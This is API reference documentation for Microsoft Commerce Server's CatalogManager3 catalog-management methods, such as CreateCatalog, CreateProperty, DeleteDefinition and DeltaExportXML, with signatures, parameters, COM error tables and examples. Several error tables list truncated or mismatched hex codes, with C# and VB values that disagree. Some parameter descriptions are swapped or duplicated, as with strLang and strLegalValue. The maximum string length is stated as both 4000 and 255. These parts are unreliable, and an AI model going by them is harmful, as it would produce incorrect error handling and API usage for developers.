CscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
CscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
CscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
CscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
CscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
CscCurrency | 7 | Indicates a Microsoft SQL Server Money data type.
CscText | 10 | Indicates a Microsoft SQL Server Text data type.
CscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.AddPropertyValue Method (PIA)

Use this method to add a value to the list of defined values for the specified enumeration.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddPropertyValue(
  strPropertyName As String,
  strLegalValue As String
  strLang As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddPropertyValue(
  string strPropertyName,
  string strLegalValue
  string strLang
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the enumeration property for which a new value will be defined.
strLegalValue
A String that contains the new value.
strLang
A String that contains the new value.
[C#]
strPropertyName
A string that contains the name of the enumeration property for which a new value will be defined.
strLegalValue
A string that contains the language identifier.
strLang
A string that contains the language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_ENUMERATED_VALUE | [C#] 0x889800E [Visual Basic .NET] &H8898009 | The value you specified for the enumerated property exceeds 128 characters
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009 [Visual Basic .NET] &H889800E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_NOT_ENUM | [C#] 0x8898000 [Visual Basic .NET] &H8898007 | The property you specified is not a cscEnumeration data-type. This operation can only be performed on cscEnumeration data types.
E_CAT_VALUE_ALREADY_ADDED | [C#] 0x8898000 [Visual Basic .NET] &H8898008 | The enumerated value you specified is already present in the list for this property.

Remarks

The AddPropertyValue method is used only for properties whose data type is cscEnumeration.

This method adds a new value to the list of defined values for an enumeration property. Any attempts by a client to set this property to a value other than one of the legal values will result in an error. This method is useful for automatic validation against properties that only have a small, fixed set of values. For example, a Color property may have red, green, and blue as the only defined values.

[Visual Basic .NET]

Example

myCatalogManager.AddPropertyValue("color", "Blue","en-US")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.GetPropertyValues

CatalogManager3.RemovePropertyValue

Table of Language Culture Names, Codes, and ISO Values


CatalogManager3.CreateCatalog Method (PIA)

Use this method to create a new catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Function CreateCatalog(
  strCatalogName As String,
  Optional strProductID As String,
  Optional strProductVariantID As Object,
  Optional lcidLocale As Object,
  Optional strCurrency As Object,
  Optional strWeightMeasure As Object,
  Optional dtStartDate As Object,
  Optional dtEndDate As Object,
  Optional vrDefaultLanguage As Object,
  Optional vrReportingLanguage As Object,
  Optional fVirtualCatalog As Boolean
) As IProductCatalog
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public  IProductCatalog CreateCatalog(
  string strCatalogName,
  string strProductID,
  object strProductVariantID,
  object lcidLocale,
  object strCurrency,
  object strWeightMeasure,
  object dtStartDate,
  object dtEndDate,
  object vrDefaultLanguage,
  object vrReportingLanguage,
  Boolean fVirtualCatalog,
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the name of the catalog to be created. See the Remarks section for a list of restricted characters.
strProductID
A String that contains the product ID property.
strProductVariantID
An Object that contains the product variant ID property.
lcidLocale
An Object that contains the locale ID (LCID) of the catalog to be created.
strCurrency
An Object that contains the currency type of the catalog to be created.
strWeightMeasure
An Object that contains the unit of weight or measure of the catalog to be created.
dtStartDate
An Object of subtype System.DateTime that contains the start date.
dtEndDate
An Object of subtype System.DateTime that contains the end date.
vrDefaultLanguage
An Object that contains the default language identifier. The default value is the system default language.
vrReportingLanguage
An Object that contains the reporting language identifier. The default value is the value of the vrDefaultLanguage parameter, if supplied; otherwise, it is the system default language.
fVirtualCatalog
A Boolean that specifies whether to create a virtual Catalog object. A value of True specifies create a virtual Catalog object. A value of False specifies create a base Catalog object. The default value is False.
[C#]
strCatalogName
A string that contains the name of the catalog to be created. See the Remarks section for a list of restricted characters.
strProductID
A string that contains the product ID property.
strProductVariantID
An object that contains the product variant ID property. Optionally, specify no product variant ID by setting this to Type.Missing.
lcidLocale
An object that contains the locale ID (LCID) of the catalog to be created. Optionally, specify no locale ID by setting this to Type.Missing.
strCurrency
An object that contains the currency type of the catalog to be created. Optionally, specify no currency type by setting this to Type.Missing.
strWeightMeasure
An object that contains the unit of weight or measure of the catalog to be created. Optionally, specify no unit of weight or measure by setting this to Type.Missing.
dtStartDate
An object that contains the start date. Optionally, specify no start date by setting this to Type.Missing.
dtEndDate
An object of subtype DATE that contains the end date. Optionally, specify no end date by setting this to Type.Missing.
VrDefaultLanguage
An object that contains the default language identifier. The default value is the system default language.
VrReportingLanguage
An object that contains the reporting language identifier. The default value is the value of the vrDefaultLanguage parameter, if supplied; otherwise, it is the system default language.
fVirtualCatalog
A Boolean that specifies whether to create a virtual Catalog object. A value of True specifies create a virtual Catalog object. A value of False specifies create a base Catalog object. The default value is False.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an IProductCatalog interface to the ProductCatalog object that was created.

[C#] This method returns the IProductCatalog interface to the new catalog.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. The strCatalogNames parameter cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the following nine reserved characters: " [ ] , ' ( )#. You should not use these characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters: .,"[]
E_CAT_PRODID_DOESNT_EXIST | [C#] 0x88980010 [Visual Basic .NET] &H88980010 | The ProductID you requested to use for this catalog does not exist in the Product Catalog System. You must first create the Property, after which you may create the Catalog that is based on it.
E_CAT_VARIANTID_DOESNT_EXIST | [C#] 0x88980061 [Visual Basic .NET] &H88980061 | The VariantID you requested to use for this catalog does not exist in the Product Catalog System. You must first create the Property, after which you may create the Catalog that is based on it.
E_CAT_PRODUCTID_MULTILINGUAL | [C#] 0x889800E2 [Visual Basic .NET] &H889800E2 | The Property that you specified to be used as the ProductID is a Multilingual property. A multilingual property cannot be used as a ProductID for a catalog
E_CAT_INVALID_DATATYPE_FOR_PRODUCTID | [C#] 0x88980075 [Visual Basic .NET] &H88980075 | The Property that you specified for the ProductID has a text, enumeration, filepath, float, money, datetime or boolean data type. A property with any of these data type cannot be used as a ProductID for a catalog
E_CAT_CATALOG_EXISTS | [C#] 0x88980001 [Visual Basic .NET] &H88980001 | The Catalog name you specified already exists.

Remarks

If variants are to be used in this catalog, you must provide a property name in the optional strProductVariantID parameter. If this parameter is not specified upon creation of the catalog, any attempt to create a product variant in that catalog will fail.

If the strProductID or strProductVariantID parameters are of type cscString, cscEnumeration, or cscFileName, they are limited to a length of 256 characters.

The returned ProductCatalog object will be pre-initialized and ready for use.

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

Catalog names, and therefore the strCatalogName parameter, cannot begin with the pound sign (#) and cannot contain any of the following characters:

  • Blank space ( )
  • Double quote (")
  • Comma (,)
  • Period (.)
  • Left square bracket ([)
  • Right square bracket (])
[Visual Basic .NET]

Example

oNewCatalog = myCatalogManager.CreateCatalog( _
  "NewCatalog", "ItemNum", "SKU")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.DeleteCatalog

CatalogManager3.GetCatalog


CatalogManager3.CreateCategoryDefinition Method (PIA)

Use this method to create a new category definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub CreateCategoryDefinition(
  strDefinitionName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void CreateCategoryDefinition(
  string strDefinitionName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the new category definition.
[C#]
strDefinitionName
A string that contains the name of the new category definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C#] 0x8898000 [Visual Basic .NET] &H889800A | The Definition you specified already exists.
E_CAT_DEFN_NAME_EXISTS_AS_PRODUCT | [C#] 0x8898004 [Visual Basic .NET] &H8898004 | A product definition with the name you specified already exists. Definition names should be unique across Category and Product definitions.

Remarks

Category and product definition names must be globally unique across the entire Product Catalog System. It is not possible to have a category definition and a product definition with the same name.

The initial definition is empty when it is created. To add individual properties to the definition, use the AddDefinitionProperty method.

[Visual Basic .NET]

Example

myCatalogManager.CreateCategoryDefinition("Housewares")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.CreateProductDefinition

CatalogManager3.DeleteDefinition


CatalogManager3.CreateProductDefinition Method (PIA)

Use this method to create a new product definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub CreateProductDefinition(
  strDefinitionName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void CreateProductDefinition(
  string strDefinitionName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the new product definition.
[C#]
strDefinitionName
A string that contains the name of the new product definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C#] 0x8898000 [Visual Basic .NET] &H889800A | The definition you specified already exists.
E_CAT_DEFN_NAME_EXISTS_AS_CATEGORY | [C#] 0x8898004 [Visual Basic .NET] &H8898003 | A category definition with the name you specified already exists. Definition names should be unique across Category and Product definitions.

Remarks

Category and product definition names must be globally unique across the entire Product Catalog System. It is not possible to have a category definition and a product definition with the same name.

The initial definition is empty when it is created. To add individual properties to the definition, use the AddDefinitionProperty or AddDefinitionVariantProperty method.

[Visual Basic .NET]

Example

myCatalogManager.CreateProductDefinition("Microwave")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.AddDefinitionVariantProperty

CatalogManager3.CreateCategoryDefinition

CatalogManager3.DeleteDefinition


CatalogManager3.CreateProperty Method (PIA)

Use this method to create a new property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function CreateProperty(
  strPropertyName As String,
  eDataType As CatalogDataTypeEnum,
  Optional varMaxLength As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset CreateProperty(
  string strPropertyName,
  CatalogDataTypeEnum eDataType,
  object varMaxLength
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the new property. This parameter can only contain characters that are acceptable in XML tags.
eDataType
An enumeration value that specifies the data type of the new property. See the Remarks section for valid values.
varMaxLength
An Object that contains the maximum length for the property. Even though this parameter is an optional value it must be given if the data type of the property is cscString. Properties of data type cscEnumeration have a fixed default value of 128, which cannot be changed. Properties of data type cscFilePath have a fixed default value of 256, which cannot be changed.
[C#]
strPropertyName
A string that contains the name of the new property. This parameter can only contain characters that are acceptable in XML tags.
eDataType
An enumeration value that specifies the data type of the new property. See the Remarks section for valid values.
varMaxLength
An object that contains the maximum length for the property. Even though this parameter is an optional value it must be given if the data type of the property is cscString. Properties of data type cscEnumeration have a fixed default value of 128, which cannot be changed. Properties of data type cscFilePath have a fixed default value of 256, which cannot be changed. Specify no maximum length by setting this to Type.Missing.

Return Values

If this method completes successfully, it returns the _Recordset interface to a Recordset object that contains the property attributes.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C#] 0x88980074 [Visual Basic .NET] &H88980074 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x88980040 [Visual Basic .NET] &H88980040 | The length specified for this property does not lie between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C#] 0x889800A6 [Visual Basic .NET] &H889800A6 | The enumeration or filename data types cannot be used for creating property attributes.
E_CAT_INBUILT_PROPERTY | [C#] 0x8898003E [Visual Basic .NET] &H8898003E | The property name you specified is used as a Catalog Management Inbuilt property name.
E_CAT_PROP_EXISTS | [C#] 0x88980003 [Visual Basic .NET] &H88980003 | The property name you specified already exists.

Remarks

[Visual Basic .NET]

The recordset returned by this property is valid only if it is accessed successfully.

This method returns the _Recordset interface to a single-row Recordset object containing the newly created property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

The following table shows the values of the CatalogDataTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned) and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308 and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308 and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 255 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server Money data type.
cscFilePath | 8 | Indicates a String that holds a file path.
cscEnumeration | 9 | Indicates an Integer associated with a defined constant.
cscInvalid | -1 | Reserved for future use.
[C#]

The ppRSProperty parameter contains valid data only if the property was accessed successfully.

This method returns a single-row Recordset object containing the newly created property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

The following table shows the values of the CatalogDataTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned) and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308 and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308 and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 255 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server Money data type.
cscFilePath | 8 | Indicates a String that holds a file path.
cscEnumeration | 9 | Indicates an Integer associated with a defined constant.
cscInvalid | -1 | Reserved for future use.
[Visual Basic .NET]

Example

'varMaxLength is an Object
'cscString is an enum of type cscEnumeration
varMaxLength = 128
rsNewPropAttribs = myCatalogManager.CreateProperty( _
  "Format", cscString, varMaxLength)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.DeleteProperty

CatalogManager3.GetPropertyAttributes

CatalogManager3.SetPropertyAttributes


CatalogManager3.DeleteCatalog Method (PIA)

Use this method to delete a catalog and derived custom catalogs from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteCatalog(
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteCatalog(
  string strCatalogName
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the name of the catalog to be deleted.
[C#]
strCatalogName
A string that contains the name of the catalog to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters: " [ ] , ' ( )#. You should not use these reserved characters.
E_CAT_CATALOG_EXPORT_IN_PROGRESS | [C#] 0x88980058 [Visual Basic .NET] &H88980058 | The catalog you specified is currently being exported or imported. This catalog or its associated languages cannot be deleted.

Remarks

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

Deleting a catalog will also delete any custom catalogs that were derived from it.

[Visual Basic .NET]

Example

myCatalogManager.DeleteCatalog("OurStore")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCatalog


CatalogManager3.DeleteDefinition Method (PIA)

Use this method to delete a definition from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteDefinition(
  strDefinitionName As String,
  Optional fForceDelete As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteDefinition(
  string strDefinitionName,
  bool fForceDelete
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition to be deleted.
fForceDelete
A Boolean that specifies whether to force a deletion. A value of True indicates that the definition should be deleted even if it is currently being used in a catalog. A value of False indicates that the definition should be deleted only if it is not currently being used in a catalog. The default value is False.
[C#]
strDefinitionName
A string that contains the name of the definition to be deleted.
fForceDelete
A bool that specifies whether to force a deletion. A value of True indicates that the definition should be deleted even if it is currently being used in a catalog. A value of

False indicates that the definition should be deleted only if it is not currently being used in a catalog.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The Definition you specified does not exist.
E_CAT_DEFINITION_USED_IN_CATALOG | [C#] 0x8898000 [Visual Basic .NET] &H889800C | You cannot delete the Definition because it is still being used by one or more Catalogs. To delete the Definition, first remove all products and/or categories based on that Definition from all Catalogs.

Remarks

Use a value of True for the fForceDelete parameter with caution, because the category or product definition, and all categories and products that are based on them in all catalogs will also be deleted. This could result in data loss.

[Visual Basic .NET]

Example

myCatalogManager.DeleteDefinition("T-Shirts", False)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCategoryDefinition

CatalogManager3.CreateProductDefinition


CatalogManager3.DeleteProperty Method (PIA)

Use this method to delete a property from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteProperty(
  strPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteProperty(
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the property to be deleted.
[C#]
strPropertyName
A string that contains the name of the property to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_PROP_DOESNT_EXIST | [C#] 0x88980005 [Visual Basic .NET] &H88980005 | The property name you specified does not exist.
E_CAT_PROP_STILL_IN_DEF | [C#] 0x88980004 [Visual Basic .NET] &H88980004 | The property you specified still resides in one or more Product or Category Definitions. To perform this operation, first remove the property from the Product or Category Definitions.
E_CAT_PROP_IS_ID | [C#] 0x88980011 [Visual Basic .NET] &H88980011 | The property is currently being used as either the Product or Product-Variant unique ID column in one or more Catalogs. All Catalogs using this property as its unique ID must be deleted before this property can be deleted.
[Visual Basic .NET]

Example

myCatalogManager.DeleteProperty("Width")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateProperty


CatalogManager3.DeltaExportXML Method (PIA)

Use this method to export updated catalog data to an Extensible Markup Language (XML) file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeltaExportXML(
  vrXML As Object,
  Optional vrTimeStamp As Object,
  Optional strCatalogsToExport As Object,
  Optional fRunSynchronously As Boolean,
  Optional eXMLFmt As CatalogXMLFmtEnum
  Optional strLang As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeltaExportXML(
  object vrXML ,
  object vrTimeStamp ,
  object strCatalogsToExport ,
  bool fRunSynchronously
  CatalogXMLFmtEnum eXMLFmt ,
  string strLang ,
);

Parameters

[Visual Basic .NET]
vrXML
An Object that contains the XML file name or IStream object that is the target of the export.
vrTimeStamp
An optional Object that contains the time stamp that specifies the limit of the export. The Variant can be of type Cdate or a String that can be converted to a valid date.
strCatalogsToExport
An optional Object that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt
An optional CatalogXMLFmtEnum enumeration that specifies the XML format. The default value is cscFmtElementCentric. See the Remarks section for more detail.
strLang
A String that contains the language identifier.
[C#]
vrXML
An object that contains the XML file name or IStream object that is the target of the export.
vrTimeStamp
An optional object that contains the time stamp that specifies the limit of the export. The Variant can be of type Cdate or a String that can be converted to a valid date.
strCatalogsToExport
An optional object that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt
An optional CatalogXMLFmtEnum enumeration that specifies the XML format. The default value is cscFmtElementCentric. See the Remarks section for more detail.
strLang
A string that contains the language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DATE | [C#] 0x889800C3 [Visual Basic .NET] &H889800C3 | There was an error converting the date specified. Please specify a valid date.
E_CAT_INVALID_XML_FORMAT | [C#] 0x889800D9 [Visual Basic .NET] &H889800D9 | The XML format that you specified is invalid.
E_CAT_FILE_CREATION_FAILED | [C#] 0x88980018 [Visual Basic .NET] &H88980018 | The Catalog Export operation was unable to create the file you specified. Check that the file name you specified is valid and the directory that you specified exists and is not read-only.
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x88980025 [Visual Basic .NET] &H88980025 | This operation cannot be started because an import operation is currently in progress.

Remarks

The following table shows the values in the CatalogXMLFmtEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscFmtElementCentric | 0 | Export in Commerce Server 2000 format. (Default)
cscFmtAttributeCentric | 1 | Export in Commerce Server 2002 format.
cscFmtXDR | 2 | Export the Commerce Server 2002 schema as XML Data Reduced (XDR). (No data)

This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ImportCSV or ImportXML method in progress. After the new thread is spawned, this method returns immediately, if the parameter fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

Some characters are not valid in an XML attribute name. When a catalog is exported in the attribute-centric mode these characters are encoded in the form _xHHHH_ where HHHH is the hex value of the character. The following characters are encoded:

  • Back slash (\)
  • Forward slash (/)
  • Ampersand (&)
  • Left angle bracket (<)
  • Right angle bracket (>)
